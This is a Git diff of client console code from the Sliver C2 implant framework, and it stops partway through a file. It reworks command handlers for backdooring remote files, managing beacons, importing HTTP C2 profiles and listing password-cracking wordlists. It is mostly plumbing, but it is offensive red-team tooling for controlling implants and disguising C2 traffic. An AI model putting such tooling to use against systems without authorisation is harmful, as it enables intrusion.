-	remoteFilePath := args[0]
+	remoteFilePath := ctx.Args.String("remote-file")
 	if remoteFilePath == "" {
 		con.PrintErrorf("Please provide a remote file path. See `help backdoor` for more info")
 		return
 	}

-	profileName, _ := cmd.Flags().GetString("profile")
-
-	grpcCtx, cancel := con.GrpcContext(cmd)
-	defer cancel()
+	profileName := ctx.Flags.String("profile")

 	ctrl := make(chan bool)
 	msg := fmt.Sprintf("Backdooring %s ...", remoteFilePath)
 	con.SpinUntil(msg, ctrl)
-	backdoor, err := con.Rpc.Backdoor(grpcCtx, &clientpb.BackdoorReq{
+	backdoor, err := con.Rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
 		FilePath:    remoteFilePath,
 		ProfileName: profileName,
-		Request:     con.ActiveTarget.Request(cmd),
+		Request:     con.ActiveTarget.Request(ctx),
 	})
 	ctrl <- true
 	<-ctrl
@@ -19,26 +19,26 @@ package beacons
 */

 import (
+	"context"
 	"fmt"
 	"regexp"
 	"strings"
 	"time"

-	"github.com/jedib0t/go-pretty/v6/table"
-	"github.com/spf13/cobra"
-	"golang.org/x/term"
-
 	"github.com/bishopfox/sliver/client/command/kill"
 	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+	"golang.org/x/term"
 )

 // BeaconsCmd - Display/interact with beacons
-func BeaconsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
-	killFlag, _ := cmd.Flags().GetString("kill")
-	killAll, _ := cmd.Flags().GetBool("kill-all")
+func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	killFlag := ctx.Flags.String("kill")
+	killAll := ctx.Flags.Bool("kill-all")

 	// Handle kill
 	if killFlag != "" {
@@ -47,7 +47,7 @@ func BeaconsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str
 			con.PrintErrorf("%s\n", err)
 			return
 		}
-		err = kill.KillBeacon(beacon, cmd, con)
+		err = kill.KillBeacon(beacon, ctx, con)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
@@ -63,7 +63,7 @@ func BeaconsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str
 			return
 		}
 		for _, beacon := range beacons.Beacons {
-			err = kill.KillBeacon(beacon, cmd, con)
+			err = kill.KillBeacon(beacon, ctx, con)
 			if err != nil {
 				con.PrintErrorf("%s\n", err)
 				return
@@ -72,20 +72,18 @@ func BeaconsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str
 			con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
 		}
 	}
-	filter, _ := cmd.Flags().GetString("filter")
+	filter := ctx.Flags.String("filter")
 	var filterRegex *regexp.Regexp
-	if filterRe, _ := cmd.Flags().GetString("filter-re"); filterRe != "" {
+	if ctx.Flags.String("filter-re") != "" {
 		var err error
-		filterRegex, err = regexp.Compile(filterRe)
+		filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
 		}
 	}

-	grpcCtx, cancel := con.GrpcContext(cmd)
-	defer cancel()
-	beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
+	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
@@ -20,6 +20,7 @@ package beacons

 import (
 	"bytes"
+	"context"
 	"errors"
 	"fmt"
 	"sort"
@@ -27,7 +28,6 @@ import (
 	"text/tabwriter"

 	"github.com/AlecAivazis/survey/v2"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
@@ -44,9 +44,7 @@ var (

 // SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions
 func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
-	grpcCtx, cancel := con.GrpcContext(nil)
-	defer cancel()
-	beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
+	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
 	if err != nil {
 		return nil, err
 	}
@@ -103,9 +101,7 @@ func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
 }

 func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Beacon, error) {
-	grpcCtx, cancel := con.GrpcContext(nil)
-	defer cancel()
-	beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
+	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
 	if err != nil {
 		return nil, err
 	}
@@ -121,9 +117,7 @@ func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Bea
 }

 func GetBeacons(con *console.SliverConsoleClient) (*clientpb.Beacons, error) {
-	grpcCtx, cancel := con.GrpcContext(nil)
-	defer cancel()
-	beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
+	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
 	if err != nil {
 		return nil, err
 	}
@@ -19,28 +19,25 @@ package beacons
 */

 import (
+	"context"
 	"time"

 	"github.com/AlecAivazis/survey/v2"
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
 )

 // BeaconsPruneCmd - Prune stale beacons automatically
-func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
-	duration, _ := cmd.Flags().GetString("duration")
-	pruneDuration, err := time.ParseDuration(duration)
+func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	pruneDuration, err := time.ParseDuration(ctx.Flags.String("duration"))
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
 	con.PrintInfof("Pruning beacons that missed their last checking by %s or more...\n\n", pruneDuration)
-	grpcCtx, cancel := con.GrpcContext(cmd)
-	defer cancel()
-	beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
+	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
@@ -62,7 +59,7 @@ func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
 	}
 	con.PrintWarnf("The following beacons and their tasks will be removed:\n")
 	for index, beacon := range pruneBeacons {
-		beacon, err := con.Rpc.GetBeacon(grpcCtx, &clientpb.Beacon{ID: beacon.ID})
+		beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			continue
@@ -78,7 +75,7 @@ func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
 	}
 	errCount := 0
 	for _, beacon := range pruneBeacons {
-		_, err := con.Rpc.RmBeacon(grpcCtx, &clientpb.Beacon{ID: beacon.ID})
+		_, err := con.Rpc.RmBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			errCount++
@@ -19,21 +19,20 @@ package beacons
 */

 import (
-	"github.com/spf13/cobra"
+	"context"

 	"github.com/bishopfox/sliver/client/console"
+	"github.com/desertbit/grumble"
 )

 // BeaconsRmCmd - Display/interact with beacons
-func BeaconsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func BeaconsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	beacon, err := SelectBeacon(con)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-	grpcCtx, cancel := con.GrpcContext(cmd)
-	defer cancel()
-	_, err = con.Rpc.RmBeacon(grpcCtx, beacon)
+	_, err = con.Rpc.RmBeacon(context.Background(), beacon)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
@@ -24,14 +24,13 @@ import (
 	"strings"
 	"time"

-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
 )

 // BeaconsWatchCmd - Watch your beacons in real-ish time
-func BeaconsWatchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	done := waitForInput()
 	defer func() {
 		con.Printf(console.UpN+console.Clearln+"\r", 1)
@@ -23,17 +23,16 @@ import (
 	"fmt"
 	"strings"

-	"github.com/jedib0t/go-pretty/v6/table"
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
 )

 // BuildersCmd - List external builders
-func BuildersCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func BuildersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
 	if err != nil {
 		con.PrintErrorf("%s", err)
@@ -1,437 +0,0 @@
-package c2profiles
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"encoding/json"
-	"io"
-	"os"
-	"strings"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/jedib0t/go-pretty/v6/table"
-	"github.com/spf13/cobra"
-	"golang.org/x/exp/slices"
-
-	"github.com/bishopfox/sliver/client/assets"
-	"github.com/bishopfox/sliver/client/command/settings"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/client/constants"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-)
-
-// C2ProfileCmd list available http profiles
-func C2ProfileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
-	profileName, _ := cmd.Flags().GetString("name")
-
-	if profileName == constants.DefaultC2Profile {
-		httpC2Profiles, err := con.Rpc.GetHTTPC2Profiles(context.Background(), &commonpb.Empty{})
-		if err != nil {
-			con.PrintErrorf("failed to fetch HTTP C2 profiles: %s", err.Error())
-			return
-		}
-		if len(httpC2Profiles.Configs) != 1 {
-			profileName = selectC2Profile(httpC2Profiles.Configs)
-		}
-	}
-
-	profile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: profileName})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	PrintC2Profiles(profile, con)
-}
-
-func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
-	protocols := []string{constants.HttpStr, constants.HttpsStr}
-	profileName, _ := cmd.Flags().GetString("name")
-	if profileName == "" {
-		con.PrintErrorf("Invalid c2 profile name\n")
-		return
-	}
-
-	filepath, _ := cmd.Flags().GetString("file")
-	if filepath == "" {
-		con.PrintErrorf("Missing file path\n")
-		return
-	}
-
-	overwrite, _ := cmd.Flags().GetBool("overwrite")
-
-	// retrieve and unmarshal profile config
-	jsonFile, err := os.Open(filepath)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	byteFile, _ := io.ReadAll(jsonFile)
-	var config *assets.HTTPC2Config = &assets.HTTPC2Config{}
-	err = json.Unmarshal(byteFile, config)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-
-	httpC2ConfigReq := clientpb.HTTPC2ConfigReq{Overwrite: overwrite, C2Config: C2ConfigToProtobuf(profileName, config)}
-
-	_, err = con.Rpc.SaveHTTPC2Profile(context.Background(), &httpC2ConfigReq)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	confirm := false
-	prompt := &survey.Confirm{Message: "Restart HTTP/S jobs?"}
-	survey.AskOne(prompt, &confirm)
-	if confirm {
-		var restartJobReq clientpb.RestartJobReq
-		jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{})
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-		// reload jobs to include new profile
-		for _, job := range jobs.Active {
-			if job != nil && slices.Contains(protocols, job.Name) {
-				restartJobReq.JobIDs = append(restartJobReq.JobIDs, job.ID)
-			}
-		}
-
-		_, err = con.Rpc.RestartJobs(context.Background(), &restartJobReq)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-	}
-}
-
-// convert json to protobuf
-func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *clientpb.HTTPC2Config {
-
-	httpC2UrlParameters := []*clientpb.HTTPC2URLParameter{}
-	httpC2Headers := []*clientpb.HTTPC2Header{}
-	pathSegments := []*clientpb.HTTPC2PathSegment{}
-
-	// files
-	for _, poll := range config.ImplantConfig.PollFiles {
-		pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
-			IsFile:      true,
-			SegmentType: 0,
-			Value:       poll,
-		})
-	}
-
-	for _, session := range config.ImplantConfig.SessionFiles {
-		pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
-			IsFile:      true,
-			SegmentType: 1,
-			Value:       session,
-		})
-	}
-
-	for _, close := range config.ImplantConfig.CloseFiles {
-		pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
-			IsFile:      true,
-			SegmentType: 2,
-			Value:       close,
-		})
-	}
-
-	for _, stager := range config.ImplantConfig.StagerFiles {
-		pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
-			IsFile:      true,
-			SegmentType: 3,
-			Value:       stager,
-		})
-	}
-
-	// paths
-	for _, poll := range config.ImplantConfig.PollPaths {
-		pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
-			IsFile:      false,
-			SegmentType: 0,
-			Value:       poll,
-		})
-	}
-
-	for _, session := range config.ImplantConfig.SessionPaths {
-		pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
-			IsFile:      false,
-			SegmentType: 1,
-			Value:       session,
-		})
-	}
-
-	for _, close := range config.ImplantConfig.ClosePaths {
-		pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
-			IsFile:      false,
-			SegmentType: 2,
-			Value:       close,
-		})
-	}
-
-	for _, stager := range config.ImplantConfig.StagerPaths {
-		pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
-			IsFile:      false,
-			SegmentType: 3,
-			Value:       stager,
-		})
-	}
-
-	implantConfig := &clientpb.HTTPC2ImplantConfig{
-		UserAgent:                 config.ImplantConfig.UserAgent,
-		ChromeBaseVersion:         int32(config.ImplantConfig.ChromeBaseVersion),
-		MacOSVersion:              config.ImplantConfig.MacOSVersion,
-		NonceQueryArgChars:        config.ImplantConfig.NonceQueryArgChars,
-		ExtraURLParameters:        httpC2UrlParameters,
-		Headers:                   httpC2Headers,
-		MaxFiles:                  int32(config.ImplantConfig.MaxFiles),
-		MinFiles:                  int32(config.ImplantConfig.MinFiles),
-		MaxPaths:                  int32(config.ImplantConfig.MaxPaths),
-		MinPaths:                  int32(config.ImplantConfig.MinFiles),
-		StagerFileExtension:       config.ImplantConfig.StagerFileExt,
-		PollFileExtension:         config.ImplantConfig.PollFileExt,
-		StartSessionFileExtension: config.ImplantConfig.StartSessionFileExt,
-		SessionFileExtension:      config.ImplantConfig.SessionFileExt,
-		CloseFileExtension:        config.ImplantConfig.CloseFileExt,
-		PathSegments:              pathSegments,
-	}
-
-	// Server Config
-	serverHeaders := []*clientpb.HTTPC2Header{}
-	for _, serverHeader := range config.ServerConfig.Headers {
-		for _, method := range serverHeader.Methods {
-			serverHeaders = append(serverHeaders, &clientpb.HTTPC2Header{
-				Method:      method,
-				Name:        serverHeader.Name,
-				Value:       serverHeader.Value,
-				Probability: int32(serverHeader.Probability),
-			})
-		}
-	}
-
-	serverCookies := []*clientpb.HTTPC2Cookie{}
-	for _, cookie := range config.ServerConfig.Cookies {
-		serverCookies = append(serverCookies, &clientpb.HTTPC2Cookie{
-			Name: cookie,
-		})
-	}
-	serverConfig := &clientpb.HTTPC2ServerConfig{
-		RandomVersionHeaders: config.ServerConfig.RandomVersionHeaders,
-		Headers:              serverHeaders,
-		Cookies:              serverCookies,
-	}
-
-	return &clientpb.HTTPC2Config{
-		Name:          profileName,
-		ImplantConfig: implantConfig,
-		ServerConfig:  serverConfig,
-	}
-}
-
-// PrintImplantBuilds - Print the implant builds on the server
-func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverConsoleClient) {
-
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-	tw.AppendHeader(table.Row{
-		"Parameter",
-		"Value",
-	})
-
-	// Profile metadata
-
-	tw.AppendRow(table.Row{
-		"Profile Name",
-		profile.Name,
-	})
-
-	// Server side configuration
-
-	var serverHeaders []string
-	for _, header := range profile.ServerConfig.Headers {
-		serverHeaders = append(serverHeaders, header.Value)
-	}
-	tw.AppendRow(table.Row{
-		"Server Headers",
-		strings.Join(serverHeaders[:], ","),
-	})
-
-	var serverCookies []string
-	for _, cookie := range profile.ServerConfig.Cookies {
-		serverCookies = append(serverCookies, cookie.Name)
-	}
-	tw.AppendRow(table.Row{
-		"Server Cookies",
-		strings.Join(serverCookies[:], ","),
-	})
-
-	tw.AppendRow(table.Row{
-		"Randomize Server Headers",
-		profile.ServerConfig.RandomVersionHeaders,
-	})
-
-	// Client side configuration
-
-	var clientHeaders []string
-	for _, header := range profile.ImplantConfig.Headers {
-		clientHeaders = append(clientHeaders, header.Value)
-	}
-	tw.AppendRow(table.Row{
-		"Client Headers",
-		strings.Join(clientHeaders[:], ","),
-	})
-
-	var clientUrlParams []string
-	for _, clientUrlParam := range profile.ImplantConfig.ExtraURLParameters {
-		clientUrlParams = append(clientUrlParams, clientUrlParam.Name)
-	}
-	tw.AppendRow(table.Row{
-		"Extra URL Parameters",
-		strings.Join(clientUrlParams[:], ","),
-	})
-	tw.AppendRow(table.Row{
-		"User agent",
-		profile.ImplantConfig.UserAgent,
-	})
-	tw.AppendRow(table.Row{
-		"Chrome base version",
-		profile.ImplantConfig.ChromeBaseVersion,
-	})
-	tw.AppendRow(table.Row{
-		"MacOS version",
-		profile.ImplantConfig.MacOSVersion,
-	})
-	tw.AppendRow(table.Row{
-		"Nonce query arg chars",
-		profile.ImplantConfig.NonceQueryArgChars,
-	})
-	tw.AppendRow(table.Row{
-		"Max files",
-		profile.ImplantConfig.MaxFiles,
-	})
-	tw.AppendRow(table.Row{
-		"Min files",
-		profile.ImplantConfig.MinFiles,
-	})
-	tw.AppendRow(table.Row{
-		"Max paths",
-		profile.ImplantConfig.MaxPaths,
-	})
-	tw.AppendRow(table.Row{
-		"Min paths",
-		profile.ImplantConfig.MinPaths,
-	})
-
-	tw.AppendRow(table.Row{
-		"Stager file extension",
-		profile.ImplantConfig.StagerFileExtension,
-	})
-	tw.AppendRow(table.Row{
-		"Start session file extension",
-		profile.ImplantConfig.StartSessionFileExtension,
-	})
-	tw.AppendRow(table.Row{
-		"Session file extension",
-		profile.ImplantConfig.SessionFileExtension,
-	})
-	tw.AppendRow(table.Row{
-		"Poll file extension",
-		profile.ImplantConfig.PollFileExtension,
-	})
-	tw.AppendRow(table.Row{
-		"Close file extension",
-		profile.ImplantConfig.CloseFileExtension,
-	})
-
-	var (
-		pollPaths    []string
-		pollFiles    []string
-		sessionPaths []string
-		sessionFiles []string
-		closePaths   []string
-		closeFiles   []string
-	)
-	for _, segment := range profile.ImplantConfig.PathSegments {
-		if segment.IsFile {
-			switch segment.SegmentType {
-			case 0:
-				pollFiles = append(pollFiles, segment.Value)
-			case 1:
-				sessionFiles = append(sessionFiles, segment.Value)
-			case 2:
-				closeFiles = append(closeFiles, segment.Value)
-			}
-		} else {
-			switch segment.SegmentType {
-			case 0:
-				pollPaths = append(pollPaths, segment.Value)
-			case 1:
-				sessionPaths = append(sessionPaths, segment.Value)
-			case 2:
-				closePaths = append(closePaths, segment.Value)
-			}
-		}
-	}
-	tw.AppendRow(table.Row{
-		"Poll paths",
-		strings.Join(pollPaths[:], ","),
-	})
-	tw.AppendRow(table.Row{
-		"Poll files",
-		strings.Join(pollFiles[:], ","),
-	})
-	tw.AppendRow(table.Row{
-		"Session paths",
-		strings.Join(sessionPaths[:], ","),
-	})
-	tw.AppendRow(table.Row{
-		"Session files",
-		strings.Join(sessionFiles[:], ","),
-	})
-	tw.AppendRow(table.Row{
-		"Close paths",
-		strings.Join(closePaths[:], ","),
-	})
-	tw.AppendRow(table.Row{
-		"Close files",
-		strings.Join(closeFiles[:], ","),
-	})
-
-	con.Println(tw.Render())
-	con.Println("\n")
-}
-
-func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) string {
-	c2profile := ""
-	var choices []string
-	for _, c2profile := range c2profiles {
-		choices = append(choices, c2profile.Name)
-	}
-
-	prompt := &survey.Select{
-		Message: "Select a c2 profile",
-		Options: choices,
-	}
-	survey.AskOne(prompt, &c2profile, nil)
-
-	return c2profile
-}
@@ -1,78 +0,0 @@
-package command
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2023  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"strings"
-
-	"github.com/reeflective/console"
-	"github.com/rsteube/carapace"
-	"github.com/spf13/cobra"
-	"github.com/spf13/pflag"
-)
-
-const defaultTimeout = 60
-
-// Flags is a convenience function to bind flags to a given command.
-// name - The name of the flag set (can be empty).
-// cmd  - The command to which the flags should be bound.
-// flags - A function exposing the flag set through which flags are declared.
-func Flags(name string, persistent bool, cmd *cobra.Command, flags func(f *pflag.FlagSet)) {
-	flagSet := pflag.NewFlagSet(name, pflag.ContinueOnError) // Create the flag set.
-	flags(flagSet)                                           // Let the user bind any number of flags to it.
-
-	if persistent {
-		cmd.PersistentFlags().AddFlagSet(flagSet)
-	} else {
-		cmd.Flags().AddFlagSet(flagSet)
-	}
-}
-
-// FlagComps is a convenience function for adding completions to a command's flags.
-// cmd - The command owning the flags to complete.
-// bind - A function exposing a map["flag-name"]carapace.Action.
-func FlagComps(cmd *cobra.Command, bind func(comp *carapace.ActionMap)) {
-	comps := make(carapace.ActionMap)
-	bind(&comps)
-
-	carapace.Gen(cmd).FlagCompletion(comps)
-}
-
-// hideCommand generates a cobra annotation map with a single
-// console.CommandHiddenFilter key, which value is a comma-separated list
-// of filters to use in order to expose/hide commands based on requirements.
-// Ex: cmd.Annotations = hideCommand("windows") will hide the cmd
-// if the target session/beacon is not a Windows host.
-func hideCommand(filters ...string) map[string]string {
-	if len(filters) == 0 {
-		return nil
-	}
-
-	if len(filters) == 1 {
-		return map[string]string{
-			console.CommandFilterKey: filters[0],
-		}
-	}
-
-	filts := strings.Join(filters, ",")
-
-	return map[string]string{
-		console.CommandFilterKey: filts,
-	}
-}
@@ -19,39 +19,45 @@ package completers
 */

 import (
-	"net"
+	"io/ioutil"
+	"os"
+	"path/filepath"
+	"strings"

-	"github.com/rsteube/carapace"
+	"github.com/bishopfox/sliver/client/console"
 )

-// ClientInterfacesCompleter completes interface addresses on the client host.
-func ClientInterfacesCompleter() carapace.Action {
-	return carapace.ActionCallback(func(_ carapace.Context) carapace.Action {
-		ifaces, err := net.Interfaces()
-		if err != nil {
-			return carapace.ActionMessage("failed to get net interfaces: %s", err.Error())
+// LocalPathCompleter - Completes a local file system path
+func LocalPathCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
+	var parent string
+	var partial string
+	fi, err := os.Stat(prefix)
+	if os.IsNotExist(err) {
+		parent = filepath.Dir(prefix)
+		partial = filepath.Base(prefix)
+	} else {
+		if fi.IsDir() {
+			parent = prefix
+			partial = ""
+		} else {
+			parent = filepath.Dir(prefix)
+			partial = filepath.Base(prefix)
 		}
+	}

-		results := make([]string, 0)
-
-		for _, i := range ifaces {
-			addrs, err := i.Addrs()
-			if err != nil {
-				continue
-			}
-
-			for _, a := range addrs {
-				switch v := a.(type) {
-				case *net.IPAddr:
-					results = append(results, v.IP.String())
-				case *net.IPNet:
-					results = append(results, v.IP.String())
-				default:
-					results = append(results, v.String())
-				}
+	results := []string{}
+	ls, err := ioutil.ReadDir(parent)
+	if err != nil {
+		return results
+	}
+	for _, fi = range ls {
+		if 0 < len(partial) {
+			if strings.HasPrefix(fi.Name(), partial) {
+				results = append(results, filepath.Join(parent, fi.Name()))
 			}
+		} else {
+			results = append(results, filepath.Join(parent, fi.Name()))
 		}
-
-		return carapace.ActionValues(results...).Tag("client interfaces").NoSpace(':')
-	})
+	}
+	return results
 }
@@ -1,505 +0,0 @@
-package crack
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"crypto/sha256"
-	"encoding/hex"
-	"io"
-	"os"
-
-	"github.com/jedib0t/go-pretty/v6/table"
-	"github.com/klauspost/compress/zstd"
-	"github.com/spf13/cobra"
-
-	"github.com/bishopfox/sliver/client/command/settings"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/util"
-)
-
-// CrackWordlistsCmd - Manage GPU cracking stations
-func CrackWordlistsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
-	wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if len(wordlists.Files) == 0 {
-		con.PrintInfof("No wordlists, add some using `crack wordlists add`\n")
-	} else {
-		PrintCrackFiles(wordlists, con)
-		con.Println()
-		con.Printf("Disk quota %02.2f%% - %s of %s\n",
-			(float64(wordlists.CurrentDiskUsage)/float64(wordlists.MaxDiskUsage))*100,
-			util.ByteCountBinary(wordlists.CurrentDiskUsage),
-			util.ByteCountBinary(wordlists.MaxDiskUsage),
-		)
-	}
-}
-
-// CrackRulesCmd - Manage GPU cracking stations
-func CrackRulesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
-	rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if len(rules.Files) == 0 {
-		con.PrintInfof("No rules files, add some using `crack rules add`\n")
-	} else {
-		PrintCrackFiles(rules, con)
-		con.Println()
-		con.Printf("Disk quota %02.2f%% - %s of %s\n",
-			(float64(rules.CurrentDiskUsage)/float64(rules.MaxDiskUsage))*100,
-			util.ByteCountBinary(rules.CurrentDiskUsage),
-			util.ByteCountBinary(rules.MaxDiskUsage),
-		)
-	}
-}
-
-// CrackHcstat2Cmd - Manage GPU cracking stations
-func CrackHcstat2Cmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
-	hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if len(hcstat2.Files) == 0 {
-		con.PrintInfof("No hcstat2 files, add some using `crack hcstat2 add`\n")
-	} else {
-		PrintCrackFiles(hcstat2, con)
-		con.Println()
-		con.Printf("Disk quota %02.2f%% - %s of %s\n",
-			(float64(hcstat2.CurrentDiskUsage)/float64(hcstat2.MaxDiskUsage))*100,
-			util.ByteCountBinary(hcstat2.CurrentDiskUsage),
-			util.ByteCountBinary(hcstat2.MaxDiskUsage),
-		)
-	}
-}
-
-func PrintCrackFiles(crackFiles *clientpb.CrackFiles, con *console.SliverConsoleClient) {
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-	tw.AppendHeader(table.Row{"Name", "Size"})
-	for _, file := range crackFiles.Files {
-		tw.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
-	}
-	con.Printf("%s\n", tw.Render())
-}
-
-func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverConsoleClient) {
-	wordlistTable := table.NewWriter()
